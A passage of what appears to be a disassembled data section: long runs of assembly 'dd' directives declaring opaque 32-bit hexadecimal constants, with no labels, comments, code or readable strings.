9DF109F1h, 1C96F2ACh, 8F86C127h dd 6C846C04h, 806BD56Fh, 0BE147944h, 576B4D64h, 4CBF65BCh dd 0A8D5697h, 66873239h, 0BD0237E0h, 0ADA11460h, 0ED34C55h dd 4DA50298h, 400031C8h, 2885183h, 0ABEAB9EEh, 0DAE94070h dd 0D43D3BABh, 0A47C4D4Fh, 836658F0h, 2D6F4FE1h, 0BF08BAD8h dd 0CB5A30D7h, 1A88DAF6h, 0C137F92Eh, 0B2DA3D2Bh, 0E32810C3h dd 0FB2BFEEAh, 74C88907h, 0D7D70898h, 98E5AA5Ch, 44074699h dd 0DF437B04h, 0EB959A58h, 6E180D98h, 0AE8BB404h, 52492DE9h dd 7B05DA2h, 4C0D3E92h, 0A9BED72Bh, 80242C02h, 4460E9F4h dd 9EA8C22Bh, 0A63DD61Ch, 8A3A5A71h, 3C53C987h, 0AEB08E6Ah dd 867AAADDh, 0ED8AEBE1h, 0AC860113h, 684BE288h, 300CC426h dd 0B4AA0F26h, 0FD2AA0BFh, 0A157137Eh, 0AF61A7CCh, 9972A77Dh dd 0A75712ADh, 78DA7716h, 3BDD2699h, 487FD8DFh, 96F96CDCh dd 55321FAFh, 57EB20C9h, 0B4957E2Bh, 596B8123h, 0F0DD8F81h dd 0C50EC892h, 0E7C62E0h, 0A3274C3h, 0C773DCA4h, 20D3300Fh dd 59C71066h, 6A16CFC7h, 407BF832h, 8D25DF95h, 44566FB6h dd 0D73E1C91h, 1B6503D6h, 7191EE4Ah, 42F39560h, 5434524Dh dd 95CF5A50h, 0F67DC163h dd 22F59751h, 3DA9BDFDh, 0DF42A37h, 1A3808C0h, 1ACF9F47h dd 0E75B2040h, 408F68F5h, 0B3AD43CBh, 0DD814C42h, 0B2A60AF0h dd 2B8D4748h, 2573595h, 72C17A06h, 51EC2282h, 0E3E8387h dd 9C48F5C9h, 7066F724h, 0E0450FE7h, 5B6EC7F0h, 84EE33Bh dd 15B7F0ECh, 40475213h, 55786DD5h, 9F6FF1ABh, 0A04A59A2h dd 16ADF10Fh, 24B9D592h, 363B9727h, 55C32150h, 0D2FD1822h dd 0FBF0B7Dh, 505A50F1h, 0BFF5BCADh, 15F0F8B9h, 60B52935h dd 4D027978h, 69EBEA4Fh, 0D60ACD4Eh, 0A2EFE0C2h, 3EE89382h dd 719693E2h, 5D80746Fh, 5C850700h, 0DD1E6AABh, 5D4171B4h dd 0EC2E6901h, 7E016C4Ah, 275CE153h, 240FF065h, 59ED64E0h dd 13619553h, 409C29B2h, 45C87A8Eh, 77F259F6h, 0DBDCA5F9h dd 0CE8BEB57h, 207F6446h, 0B3984C39h, 417D8C13h, 3D2486C7h dd 8F89D4A2h, 0B8635A97h, 2AB33935h, 5602A508h, 87548863h dd 29643036h, 0D2634E53h, 675C70CEh, 0B521220Dh, 0EA28FC8Fh dd 894B8A50h, 2A0FA68h, 69517994h, 0E13737BFh, 0EEF9FAB7h dd 7AEF9B74h, 433093ACh, 0B5C8A21Fh, 0B45F4913h, 85483FC8h dd 984C6EFFh, 90692289h, 0B1656E61h, 8530E30h, 1B866E30h dd 1865B137h, 0DD9B9695h, 6D64DA90h, 0E0D08639h, 954D60DBh dd 3EB46A4Ah, 56A8AFA4h, 0FC2847BFh, 666A637Eh, 0F380AA7h dd 99873E6Ah, 12840830h, 6B1C85CEh, 1B8E7Fh, 59115F15h dd 0B112AE33h, 9973CBA1h, 7C960EC4h, 2231F1D8h, 57E2FFC4h dd 4E3A677Ah, 17495A92h, 374A3115h, 377BD86Fh, 8F56C5Ah dd 0ECED6494h, 0ECF5C5CCh, 44533F26h, 0FDAE446Dh, 71BF1954h dd 8D026195h, 952A2Ch, 94B56062h, 8A034DA0h, 89AFC240h dd 0C5818FBAh, 1B0A5CDFh, 1526AEACh, 140CDC63h, 6F62F8EEh dd 0FB423AD8h, 0A199C8Dh, 0AA25FC5Eh, 4F5C4256h, 6CB8487Fh dd 0E308EA46h, 15875668h, 35FF600Bh, 6A09BFCh, 0E5223669h dd 52DCB2F5h, 140F517Eh, 5DBE432h, 0F4F16B15h, 0B30625B1h dd 0E470808Eh, 0E89249B6h, 0C9B1D2A9h, 0DB204969h, 23FCE00Ch dd 0F46AAF83h, 0A170CFF7h, 8704F3A5h, 0CD29A7A9h, 0E703909Eh dd 0E60B1574h, 712F5C8h, 0EEA8EAFEh, 562C05C7h, 9C11FF03h dd 0E241C4BEh, 0F947FC51h, 7B2A6FFh, 80979E13h, 4595A0C6h dd 0B1A4D363h, 34DD808Dh, 0FA8599A5h, 0CE413034h, 5CA62BE6h dd 22900580h, 99F459D5h, 0D88A3A7Ch, 53076168h, 7136FB80h dd 0B4D3FC78h, 0FDC70274h, 9153DBE2h, 0C998473Fh, 33DD71A0h dd 0DB56D2DFh, 0D5B7CBF2h, 959B5E91h, 0B3F0FBFCh, 0AAD681CAh dd 763A63ACh, 8371397h, 0CDF29D15h, 737D3376h, 48A82A04h dd 0FC848536h, 0DBB160D8h, 0CA283C28h, 0DB48BEF0h, 88B63193h dd 1F53985Ch, 1A185F10h, 876EDC17h, 0B8B9723Ah, 0EC381923h dd 3F185156h, 244F7FDAh, 635588h, 3403659Dh, 928F68D6h dd 0B5D276D2h, 13FE99F8h, 0A0AFDA72h, 6B76B435h, 216957D2h dd 69034791h, 40944F23h, 88498A76h, 39D50E16h, 7B2D664Fh dd 0E1521B54h, 0DD7FD63Fh, 9EEF1759h, 5A0101B1h, 0A5640D9Eh dd 3E25F742h, 0EABC12EDh, 0C95DC68Eh, 3947B24Ch, 110BC806h dd 0CDCFEBB1h, 7D36DC94h, 1607E125h, 670F069Ch, 2AF4FB87h dd 0F66C611h, 4206D7C8h, 581BFF4Bh, 6F1F3021h, 0FC6FF22Dh dd 2B83FD66h, 0FB6B98EAh, 327C87E8h, 1A50A077h, 0A2088628h dd 0D9635453h, 0CE9603A0h, 0AF793940h, 0C1E834CDh, 0F9D66E33h dd 7B1962A3h, 988808B3h, 2DBAC3CFh, 2E457ADCh, 0D3B3763Ah dd 4BE62E3Ch, 7E51301Fh, 0FD563868h, 7FFDADC3h, 0E3AB5502h dd 0E2AF0D86h, 776346AFh, 0F25B973Dh, 0E85763DAh, 0CA1D0A62h dd 0D91505CDh, 17F854C0h, 11D0D540h, 207C6EC1h, 0BCE7AAB3h dd 7FCD433Ch, 72907A76h, 16304930h, 3F2DB129h, 0A9D16173h dd 6EF2E77h, 20CED90h, 59976CBBh, 8C1510A0h, 6B9BDF0Eh dd 1B0C8996h, 3BEE5EC4h, 0A368E2A7h, 0AC647D1Bh, 0CC54FB84h dd 3EFDDC37h, 0ED12E8F9h, 0DDA3B8D5h, 0A947DAF6h, 36F4E5A5h dd 410047A8h, 80BFA760h, 0B0E74057h, 4CFE361Ah, 51031C63h dd 0DAD8B34Fh, 9C736BDCh, 7EE6AB75h, 3C0D224Ah, 0E17C598Ch dd 0E798304Ch, 0C3DEFA4Eh, 45673BF7h, 1577B374h, 3CBE9AFAh dd 62C90FEh, 1B5D941Dh, 150B88E0h, 0B4C599D9h, 0FBF2FB58h dd 0BCA4039Ah, 0D19AAA83h, 8627BAA3h, 455F0538h, 6E04CF21h dd 22216F5Dh, 9FCC42C6h, 47A39109h, 15FE6D39h, 2BAC1779h dd 29050BBEh, 2F957B9Eh, 0A55E755Ah, 0EBDCBC91h, 0FDEC500Fh dd 9D6ECA6Ch, 8CE31AE9h, 5AC5275Dh, 0CC1165FCh, 59279E6h dd 0F54EAFE0h, 10B35EA5h, 0C6DE9DFAh, 6288F3E7h, 45DA9CEDh dd 0B0D7F6D8h, 4F5C237h, 13D61FA1h, 0FFB6489Ch, 9A0850B4h dd 0C09617FFh, 3370527Bh, 1BF78C38h, 6D89AAC9h, 0F3689B08h dd 91617EAAh, 0A5D42A56h, 9CB620E9h, 0F8A93D8h, 20A0D61h dd 0F416600h, 0B3CE9411h, 61B9E38Ah, 5CA671D2h, 0F3665AF6h dd 5F7C07C7h, 81D3F98Ah, 0BED0CDE1h, 0B01DF429h, 8F617F4Dh dd 0C0281331h, 0FF56D89Dh, 5850CD2Dh, 1323A958h, 0B690A502h dd 57D9C730h, 0E29DE0FFh, 73096E73h, 89670158h, 5C59211Fh dd 44033E72h, 431F6813h, 0B7EC84D6h, 0D6926E4Dh, 8C1533F3h dd 8F6790C1h, 215C47D6h, 5459F683h, 67221CBh, 3291855Bh dd 342F4686h, 9A5A95D1h, 62628272h, 28C8AD37h, 8705E4ECh dd 0BE699907h, 836FD79Bh, 0FBA5949Eh, 0F9D56A31h, 1156FA34h dd 0C57A0D2Ah, 21A89FC7h, 0FA98A07Bh, 41B003DFh, 0B67642E6h dd 0DA731D0Bh, 0DC66EBCBh, 9E57963Eh, 2804E461h, 0A29AB009h dd 0B39A550Ch, 9FD90844h, 0D31846C5h, 5A7EC76Dh, 0A0505F09h dd 2D40939h, 0C7F4AEE0h, 83B8A94Ah, 8EE652EBh, 87BEE7D8h dd 0C529E95Ah, 977C1848h, 0F23C9052h, 2F04F112h, 0B79C5CDAh dd 0BA40B905h, 2735A271h, 0C0E91724h, 1C5CCEEEh, 88070E08h dd 5D5A245Dh, 0FFCFF1ABh, 8FB084F4h, 0E5C0ECDAh, 4916C48Dh dd 0C1AA4586h, 0AE34CF04h, 0ACBE4BEh, 0FEC3DD85h, 232BA8B0h dd 99F767C1h, 0AE7D501Eh, 0E37403FBh, 0A62D1452h, 10CDDB3Fh dd 980E2B23h, 8F0E2C02h, 14359CECh, 128E78E9h, 0C8F6707Fh dd 5C8535D9h, 29739B26h, 0C132DF35h, 0AB577433h, 7A3D5D3Fh dd 9993C161h, 9E02D02h, 0FDCF4029h, 1157EA9Eh, 3E8A7515h dd 0DD1C6F89h, 0C64B50D8h, 2E01BAD4h, 0C9F22F54h, 0FB6AA2F2h dd 0E09FAA17h, 1E9D9A31h, 3D6A02EBh, 0A6C783A0h, 0A32C1671h dd 88B7AAE1h, 9F230F7Ch, 0CD1C4B1Fh, 0F37F8C17h, 1A1B5B8h dd 0E048DF0Dh, 216B7501h, 3A8E090Bh, 0CCBCDAAEh, 29FFB148h dd 84A54A8Bh, 0C90DF2F5h, 0FFFB0ED7h, 2939C38Eh, 23BA5443h dd 8D75BC4Eh, 50B22C68h, 325A3165h, 0CE0E77B5h, 0C7581E26h dd 6D4BB8FDh, 0FF12FA7Eh, 79308A6Dh, 0F8AC6701h, 0ECF61FE2h dd 0E33EAEC5h, 3A5CA863h, 0BA3F5F41h, 0DC3803D7h, 976B4246h dd 0EBB63D7Ah, 0A4D614F8h, 80F8E398h, 210DAC45h, 11514589h dd 0B8396CC7h, 9A6A419h, 0C3C0BB5Ah, 0B33BDBF0h, 8F56CBC0h dd 9092D2E5h, 1246F608h, 5C87445h, 0E9EE557Ah, 0AA6C6C9Fh dd 0D8A083B8h, 0B0686E31h, 0E20C7159h, 15C384BEh, 30AED3E3h dd 0A64EC918h, 0D3A11FA5h, 0AD9AAAD6h, 0DE28B7ECh, 2EF05DFAh dd 0C5C98BC8h, 1F8520D8h, 4EC1A324h, 907B4B8Ch, 177411EDh dd 0B17B5B7h, 0CDAF224h dd 0DAE3B665h, 932C8251h, 35FD251Ch, 0D9019C3Eh, 493B267Ch dd 1E6383B1h, 0B64EE0B7h, 1FD7FA91h, 9C74C1F2h, 668D78D7h dd 0D22EA779h, 559F3F03h, 0F6615F58h, 0C425D98Fh, 0EAA71011h dd 23E0BEDCh, 0F6305EEBh, 0D5B12A15h, 12D4F90Bh, 4C93AE1h dd 0CD1CEB6Eh, 4D4CCF58h, 0C54DB231h, 1997366Ah, 44D1DEB1h dd 3B3EA617h, 2CD8867h, 0A17D28DCh, 7C9EBAE0h, 25AC747Dh dd 11BBF8F1h, 721E051Ch, 2CA66E85h, 598FE0D6h, 0F32C26CCh dd 9D721357h, 6F2C67C4h, 0AF42F395h, 0A932550Ch, 831F8B04h dd 5B87364Eh, 89D93355h, 64ED976h, 29F4B123h, 9F8B073h dd 747DE01Bh, 0DB4909B8h, 74D56B8Ah, 0C0720AD8h, 0DBF7D03Eh dd 975FA79Fh, 0D017E84h, 34AECFDh, 0FB075BFCh, 0C392ED3h dd 0D7268A88h, 841A91C3h, 0CA9DCACCh, 18D196E5h, 0C037AE6Bh dd 99F4743Ah, 0CE04C784h, 50D8B6D9h, 8CFD9810h, 3F9B2859h dd 0F51CC56Ah, 115485E9h, 0F604C942h, 0B512C03Bh, 9C1AE257h dd 6D2BDF48h, 749AD67Ah, 3F8FDECEh, 6F26FA2Fh, 0EB454CE1h dd 7F3B1971h, 2FAF57h, 0C2FB4D27h, 0AEBA181Ch, 0D3E8FA52h dd 0B7291C0Ch, 467EEFCEh, 0A11D0446h, 0D3BB7E4Ah, 8B948801h dd 3073DF4Ah, 0FC973512h, 0E394ED60h, 0A5032455h, 6648BE07h dd 0FF36B52Bh, 670C67B0h, 0DA1AA9B3h, 1DE254E2h, 0D027A4D3h dd 0E3C158D8h, 1703B0Fh, 0F09BBD00h, 7472BD6Bh, 329F99BBh dd 1941B9DCh, 0E0DA7C49h, 0BE2740F3h, 5BF3F853h, 0BA970655h dd 1FA56407h, 37DC0BD1h, 0DCFBCC43h, 0FBBF2743h, 0CBD4DF85h dd 93706029h, 242DBA4Bh, 834CB73Fh, 0AC237925h, 0AE32DC35h dd 22815C1Bh, 607F7DBBh, 1E0AAC63h, 0A08DEC6Ah, 6E876955h dd 906C011Ah, 87D07090h, 0A233D018h, 0CBD40EB1h, 0A191160Dh dd 0A4E08344h, 7141441Ah, 0F89B0F58h, 0FE98F858h, 98297C71h dd 0E5D91C91h, 0AC6C514Eh, 0E2C4FE57h, 0B861DCD0h, 0CDB8A9E0h dd 3D2DBADDh, 0D05111E8h, 9C547E69h, 37AF07F7h, 4C4D84B0h dd 1F972AFCh, 4A499Eh, 2666D009h, 0D15DA0BFh, 3FD03670h dd 7D2A4136h, 7D4994F2h, 502EA0D0h, 0AE6A4DC2h, 0DA0DB7D2h dd 0DE23122Bh, 3E0C3DE8h, 0DA6C69CDh, 0B16239D3h, 0C5D4260Ah dd 43D3CA48h, 0CA59B9FAh, 0C110A321h, 61A0F921h, 0C1B52773h dd 0CF4F6978h, 993F4A98h, 0F6DE5018h, 0DC22870h, 0FD4F65D5h dd 5D4A5E1Dh, 0E06BCFFAh, 78BAFD07h, 0CC239395h, 1E77E4Dh dd 74D161E0h, 2D36BF74h, 0F76E9C16h, 0EC20003Dh, 0EC3560F6h dd 560BB826h, 663B66B7h, 0F6E7CC92h, 13D29F91h, 39C62EA5h dd 552EFAA3h, 54A055ABh, 0D7049552h, 27FDC26Ch, 3930657Eh dd 0C4B1EFD5h, 85E04568h, 62234A3Fh, 0F4F53878h, 0BFE4661Bh dd 41F6FE6Eh, 88BD45FAh, 986E0645h, 9899FCA7h, 0E3799369h dd 1CBCE44Ah, 67762A14h, 29B0AC3Dh, 0E7A1DB6Ch, 0D73B1692h dd 0AC9460A7h, 51C415CAh, 0C5F17670h, 0C88BFD13h, 56917925h dd 33D752E7h, 0FD46B009h, 0B5FBEEFCh, 3D15F4Ah, 86E2333Ch dd 71463051h, 9795F241h, 1C51AC3Ch, 7B4B5AC1h, 0EC395B63h dd 0B1038890h, 3F514A0Ah, 395615B0h, 4A1885B7h, 0E0D9C8E3h dd 0B432C413h, 0F47F2709h, 0CF9B5FE1h, 141E1A8Fh, 0A82F7BC9h dd 0C7477044h, 50C3C1F4h, 6A17036Fh, 918CA92Ch, 267E7975h dd 5225E281h, 900C1A31h, 97175B91h, 6D3C335Ch, 274D597Ch dd 16A58025h, 63B9D424h, 4DFDE9A0h, 0D0223485h, 0AE4A3998h dd 5FDF27C5h, 9B93C776h, 0F04251F8h, 0BB4E0A62h, 3ED464B3h dd 6E391277h, 80FCB7F1h, 0AC5092BEh, 86EDDC6h, 0F2FD72E6h dd 522C287Ch, 0A6799314h, 6472CF4Ah, 0B3B56CC2h, 525DB7E8h dd 0ADF4492Dh, 0AE18278Dh, 3F25EEC7h, 0C36EAF59h, 3BF1BD90h dd 0D708894Fh, 4B437995h, 0D9E95F53h, 0AEE00790h, 82D38E21h dd 5C205F85h, 3A88ED69h, 5DCC75CEh, 0E68113CFh, 1F688298h dd 0EE190C5h, 6A55AAE4h, 97A1867Eh, 0C927BC3Ah, 48B4A4F7h dd 55ED8FD3h, 0AEA8E321h, 7350B236h, 91AE4F2Ch, 59FC266Eh dd 7D7242E8h, 1C2E6DE1h, 18675839h, 8EE3EFEBh, 449E1A06h dd 30DF9993h, 0DAA77175h, 3A98A8A7h, 0CD95A627h, 1E96BC2Ah dd 0CADD25BEh, 0F7CC89DBh, 4940F902h, 0D15B57FAh, 97C6CCE6h dd 0FD28A1ACh, 22344D49h, 0D16F85BDh, 5F62EBFEh, 757237D6h dd 0D6B1DE0Fh, 5324E60Ch, 0AA0639FBh, 8C64843Bh, 0C3BDC1B3h dd 0DFA56E7Ch, 2A86F3A7h, 1C86A46Fh, 2B3B03A4h, 98E5DAFFh dd 0F040ABBCh, 0FDEDDE42h, 2A0373CBh, 0E4495C2Dh, 56C3E230h dd 0F0EC8224h, 766E92EBh, 8D6722F3h, 43274266h, 4C73E8E9h dd 48A9E975h, 49AB5007h, 18D860E1h, 63A7C53Fh, 7EF85207h dd 11C96626h, 1207D3E7h, 0F4F357D1h, 2A468ED0h, 3C8D3510h dd 14DEB5C8h, 47E4C352h, 126229C4h, 84A7327Bh, 5661A577h dd 3BF952ADh, 9226CD79h, 0E023B867h, 0EEB2519h, 5D5B1535h dd 0AF09BA4h, 4887AE1Ah, 3C55DE8Ch, 0B4D579AAh, 0B9B68488h dd 3BBA8DA8h, 2780A5D3h, 149E1022h, 0CDDFCC26h, 72300EE0h dd 0B0D6561Ch, 0E809C799h, 0F154BE8Dh, 0F6E4CC71h, 0EEFDCF25h dd 0EE3001CCh, 0E37E0D1Eh, 20E539BFh, 75449922h, 41AA6035h dd 3757D8C2h, 3BC556A1h, 0FDC4CBF1h, 4FD0314Eh, 0F79B64BBh dd 5BFB4CCFh, 637391DDh, 0B5E62ED8h, 0CE89338Ah, 9A9EB23Eh dd 37A6510Bh, 70EA35DBh, 0ACFC4D86h, 61DBD42Bh, 49768F84h dd 0EDC6AE02h, 0FF0326B2h, 23DB9155h, 5FB02306h, 0F1B55409h dd 8FB44EFCh, 6304CAE9h, 92FB5B6Fh, 79DAAC36h, 1E7553ECh dd 0E88606C1h, 145A2A78h, 0A331A40Fh, 119386FCh, 5E39C4EEh dd 44588BAAh, 7E7513B6h, 4D1689BEh, 21FCC3BCh, 0FFA37E01h dd 4E3C0948h, 5788D501h, 6A4A0916h, 0BF244669h, 94D7D423h dd 13B2C2DAh, 0E30A125Fh, 0F4638382h, 0A358433Fh, 0A0043C57h dd 74DCC051h, 9FAC9D07h, 0D7A0E0D5h, 0FEBDBFC7h, 5916B564h dd 0DBBB7B7Bh, 0B6C6304Eh, 0F1179188h, 0F8A93ECAh, 0F6B604A0h dd 0FF743423h, 0B99B2719h, 27B93239h, 853CE28Ch, 0D930730h dd 31CF57C2h, 8EE18619h, 0C27551Dh, 68193B01h, 4DA53780h dd 0FEDBD9Ah, 38140F6Ah, 194CE989h, 0F08B12BEh, 7886BD62h dd 2498A7E5h, 15D6D112h, 0C53FBBDCh, 4A3180E1h, 4EC9CBC9h dd 6280504Fh, 2FC8DBB7h, 767CD057h, 0F62E1016h, 6069BD5Bh dd 8B67FD62h, 3984CAEBh, 0A30BBE91h, 9113293Fh, 0FF0944B8h dd 0E4AAD1CDh, 60AB08A6h, 0BCCDDBFAh, 273D199Fh, 7ADC5F94h dd 1555507Eh, 0CA9B9782h, 5540C0D9h, 3292DBA8h, 2859B903h dd 34FD9A0Eh, 0D32739CFh, 60377EE0h, 0E8435E7Ch, 27102F03h dd 4B12B752h, 0B2FBB1F2h, 0D5B9640Bh, 73820504h, 3F9D5E93h dd 0B1383DF7h, 35547772h, 32A78AA2h, 3D2944B1h, 0DBE2AFF1h dd 3C948ABFh, 57E0C43Fh, 92AD41BEh, 5F65FBAh, 0CD6AF036h dd 9399BAC2h, 11F8FA10h, 327280C1h, 3FF46B48h, 3703761Bh dd 96B77B79h, 0C877C473h, 0A900EA8h, 98B7F1B1h, 2E225614h dd 12427B5Eh, 0D89AEF08h, 3D62DEFAh, 1053A6Eh, 7C550178h dd 0E3785A61h, 0D46A4F7Ch, 534EF75Fh, 16E34AEBh, 527F41AAh dd 0ED929D4Ch, 4E04FAE3h, 73C87320h, 8DC5C918h, 0F6613928h dd 0DAC0A720h, 1C19FCDEh, 1D6D576Eh, 146C497Ch, 137CDF8Dh dd 2058CC74h, 0F8231174h, 5AD399E7h, 57A69788h, 0D4CE00C6h dd 0D8FA5037h, 0C782A55Eh dd 192BDCCFh, 9AEE5170h, 0EC9C768Ch, 0BC4BF9FFh, 5DACD977h dd 0C3E8526Fh, 718A013Ch, 97855727h, 62A9D008h, 66A55155h dd 958C400Ah, 4EFB100Ch, 0A27A02E3h, 8EEAF52Fh, 7B2FFE95h dd 0AD247F5Eh, 8F6BB041h, 58AB0477h, 18D5BB58h, 3771511Eh dd 3388CA6Ah, 0B7A837F4h, 0FA4CBD1Dh, 0E0637EEBh, 6033A66Bh dd 9ED3D008h, 41A212CAh, 70964B66h, 574F21B7h, 28415F18h dd 153D43B2h, 958C4D82h, 0EBA519C3h, 2825CC69h, 0C0AFBE3Eh dd 0FDAC8009h, 0A3E06FAEh, 5DDD7C05h, 0BD90E19Bh, 20B70279h dd 4E273EE3h, 814C3598h, 0FBFEC26Ah, 0EC342813h, 0ECE6A1EDh dd 0DF82C15Bh, 0E9B5D722h, 86474D0Fh, 58F9FAA3h, 0C21E337Ah dd 1F6C2F85h, 13B6CC2h, 16BE0D31h, 0AF20ED9Dh, 0EA71E7EDh dd 5498D7A6h, 0BDB590F9h, 88D469BEh, 8B3BDEC5h, 3024CF54h dd 2238FB7Dh, 987CC0C2h, 39AFA145h, 0E9EAB8BDh, 0C0E2968Dh dd 4FC5682Ch, 0EFD05B3Ch, 68C275F1h, 0D16DD2D6h, 45DAC497h dd 22F73F33h, 13343855h, 1734DA10h, 0A506DC6Bh, 0B859C279h dd 0A24EC0D2h, 9DFFD223h, 49B5E090h, 236DD174h, 0C4560DB4h dd 0C8588978h, 4673C7D1h, 0EE899E8Eh, 89F08A0Ch, 8E201EAAh dd 43871FFDh, 0E6829A3Ah, 1AE3C4BAh, 25EAC55Bh, 82A6590Eh dd 23E81516h, 0A097260Fh, 0FA37A34Fh, 0A7CC7B8Ah, 44D43A90h dd 96C1B285h, 871A9E0Bh, 2216F2EEh, 0D2B7585Ch, 0CE1BB9F5h dd 53F67E11h, 9609849h, 0F73538A3h, 144BA139h, 3C813Eh dd 8A6A3052h, 0B7C4156h, 885A7896h, 1BB64DA9h, 91A5B508h dd 0B6A423Fh, 0F4E6E9BFh, 5632FC8h, 749A2EF5h, 202FD398h dd 0F30B4390h, 0F54A064Ah, 7AF474B9h, 4424E919h, 0D47581B6h dd 0B86AB9E5h, 0F95FACA0h, 0A48F778Bh, 8FD51020h, 9E38B958h dd 8139B908h, 0FFD2E4AFh, 0A1A11B8Dh, 0BE5C61E8h, 9CA67239h dd 63D8E0CDh, 7241B53Bh, 3B4C5091h, 0C44E90E7h, 9E770F9Bh dd 5D241D46h, 7EED1CB1h, 0CFB477D2h, 5791810Eh, 69682C4Fh dd 2D1399Bh, 0A1E2A1Bh, 0B9505838h, 0B246B82h, 7C92D802h dd 5A2DB82Bh, 2A77D484h, 719D529Fh, 76E1321h, 0BD508794h dd 0F27D31B3h, 0CAF3C670h, 0B65AFE87h, 1180279Dh, 0AA0DCECAh dd 0A8131788h, 5E2C752Ah, 157B03C5h, 0F9701BA2h, 0E42A73CDh dd 411E4CBAh, 9B0DAA14h, 613B21FBh, 18929F6Eh, 6435A8Eh dd 1B8B7478h, 62107EBDh, 61BCF8B2h, 0FA65D7C1h, 46BBBD9Eh dd 0F3142EE3h, 79EAF449h, 0F0752E66h, 9CBB2D14h, 136CA4E2h dd 8F7809CDh, 7583728h, 66E856C2h, 10BA7641h, 4BE50F56h dd 682CA1A3h, 149A733h, 0FA7D5532h, 1E2FF988h, 7D483256h dd 91576357h, 0D3CF733Ah, 7A63E76Eh, 97250975h, 9DF34FBAh dd 321FA5C0h, 0F232E497h, 38475763h, 819D5BC5h, 4761BD54h dd 1AB1C65Fh, 0EC404BADh, 55658520h, 0D27CDC0h, 3C2C0815h dd 15B3A94Ch, 97E155C7h, 8781D337h, 0DEB8B39Eh, 532B101Dh dd 0AED54C1Eh, 0C4699185h, 475D57B7h, 3D10429Ah, 0BA04DEFDh dd 0E8A468AFh, 139D7B27h, 0C8C00571h, 179577D9h, 0B0060EDBh dd 0D9B17BF3h, 1010655h, 0EDD308EBh, 0E96C0300h, 16731F82h dd 54C17A2Ch, 0F938EFE6h, 0D4C78BB2h, 891BFF78h, 886B42A3h dd 9213DCC0h, 0BF1C480Eh, 0D30224E6h, 0D57969E8h, 6F02B0F6h dd 9455359Ch, 70A010B3h, 0B7BD4348h, 70F9ADEBh, 3C0E253Fh dd 0BC8FB5F1h, 57E0AB44h, 5AC23B3Fh, 0F53D50D8h, 7FB6E38Bh dd 0A32B3FFFh, 232F4049h, 247919DBh, 3836A1FDh, 0D02ED6AAh dd 0C2F7831Ch, 994C1ECFh, 30C70F3Fh, 13907270h, 0E90977ABh dd 0C609FB7Ah, 1FBA6944h, 523A17Ch, 920EFACAh, 3FE226C8h dd 1FC722E0h, 99847E03h, 8491BEA7h, 61F4053Fh, 0B3289CE1h dd 78BE17A8h, 92CFA214h, 0D01B3A09h, 0E26B3D0Fh, 96C832E2h dd 0E61440EBh, 0F521360Bh, 0FA79E485h, 0DECE3149h, 9C219106h dd 0E9D810BDh, 8BCC7309h, 86F5DF3Ch, 4A503061h, 75D61FA7h dd 0EAA65E40h, 59C0797Ch, 26113CD7h, 0D3CD2FFCh, 2C51BEC7h dd 0D7951B33h, 3BC1DD97h, 0D3974F6Ch, 242038BDh, 41B8CE63h dd 94EABD35h, 0CB6551E1h, 0F72511FEh, 7AD3508Ch, 9C5F3DC4h dd 8A22130h, 46645AECh, 29390498h, 0FDD1C62Eh, 0A82FD4ACh dd 145CD3B9h, 770DDC5Dh, 8ACDCC6Eh, 0CF38B3E2h, 0CA4DDC2Dh dd 0C2712F91h, 0F3B5D187h, 0E0B42BD2h, 7C30F2AEh, 2EB88C40h dd 9FC3FDCFh, 0A5BF0EF5h, 0F8B0F005h, 0AD45191Ch, 4A8A78CBh dd 2B5962E6h, 3AEB661Bh, 8E8AC92Ch, 0AF6932E8h, 940DF300h dd 0B8775728h, 35F833E1h, 0C0E8E919h, 0CA99D176h, 7BE8590Fh dd 7637425Ch, 630D3FCCh, 25CAB346h, 7070A238h, 5490D21Fh dd 13BD0CAh, 6A0BB2ECh, 0F5FA4F3Ah, 60B078EDh, 213E6Dh dd 0B89164FDh, 4FFB23CFh, 0E64ED196h, 91561617h, 3FF974EDh dd 4D8B96F1h, 1514865Eh, 0F79CD42Fh, 0A82139ADh, 7087B8B0h dd 2C9C8F1Bh, 0E4F6CC8Eh, 0BFE569E9h, 230E7F7Fh, 0E8CEAA9Dh dd 0E9272EA0h, 0A80872E5h, 91EF73Ah, 42086F2h, 0EFCDE2FAh dd 0E7CCF939h, 95EFF18h, 7863B15Dh, 8AE44589h, 6E5855F8h dd 0E4BFB59Ch, 288DAEB3h, 0F9AADF63h, 0A7812C02h, 2718C5AEh dd 94B1EA16h, 3CDAE587h, 3DE01C4h, 8C42164Bh, 0CDF60103h dd 433EEBFCh, 4816C87Eh, 9831C2B8h, 0DF853399h, 4483C7Fh dd 0E8CA24Ah, 52E9E783h, 0D3334DD3h, 11A569C3h, 0A3C919B7h dd 36C50B24h, 6C4FAF66h, 293EFC81h, 0CF91970Ah, 9BB702CFh dd 929C2308h, 0F9D50B56h, 7320FEE7h, 4CF4E559h, 0EC60158Ah dd 2DC4D698h, 0D114EFD2h, 0AB48047Eh, 9852F0F7h, 0EDCEF489h dd 6E5599E1h, 8325B9F9h, 23A0218Dh, 0ADEF1EDEh, 0A898F6F2h dd 14FE49C6h, 2FD5502Fh, 1FC258C3h, 0CB0D358Fh, 0BD6BF05h dd 0F122E72Bh, 0A154F8B2h, 10BA65DAh, 0C620685Ch, 6BB5ECB2h dd 0E4B1F9C3h, 0FC3A5D4h, 15558135h, 439FA29Fh, 6985C292h dd 0E97BFE1Dh, 44969822h, 8778FD66h, 0DEB35A38h, 0F31E252Bh dd 0EB96F95Fh, 0F485C790h, 0F80B0F17h, 0C167AD63h, 8155329Bh dd 5A4909E1h, 0A98A6FA7h, 0DF613F9Dh, 0E4822ED9h, 1D397FFEh dd 0C988CF69h, 65E75070h, 90B1D0h, 2B6D9127h, 0A4E2B64Bh dd 1EDC8B27h, 0D827568Bh, 903BEB1h, 0F9004D79h, 236C05Bh dd 61502F84h, 55DC7BBBh, 745592E8h, 0D176D264h, 875A9B33h dd 76B05FBDh, 9667A761h, 0EB61AAEBh, 0A7895C77h, 0C0BD90EBh dd 65CC2A6Dh, 9694AF8Fh, 1934819Bh, 0D3BC7DDAh, 0A8FA553Dh dd 0D8897DE7h, 0A386404Ah, 0B0E4344Ah, 0D46FAEDh, 26E0AD91h dd 6B2F7396h, 0B5C27533h, 52750BC9h, 0B3603BFEh, 93F90220h dd 63371554h, 3F25B4C2h, 6B916762h, 48B71997h, 44AFB99Ch dd 11A484A2h, 6C24CDC5h, 0C4CA5A4Fh, 6E400233h, 2D2E4662h dd 0A8D0B81Eh, 61CC2099h, 6078A997h, 3F85DF81h, 3662A33Eh dd 86AE6141h, 8CC062E8h, 0CDFF6D60h, 147AC71Ch, 9E838D98h dd 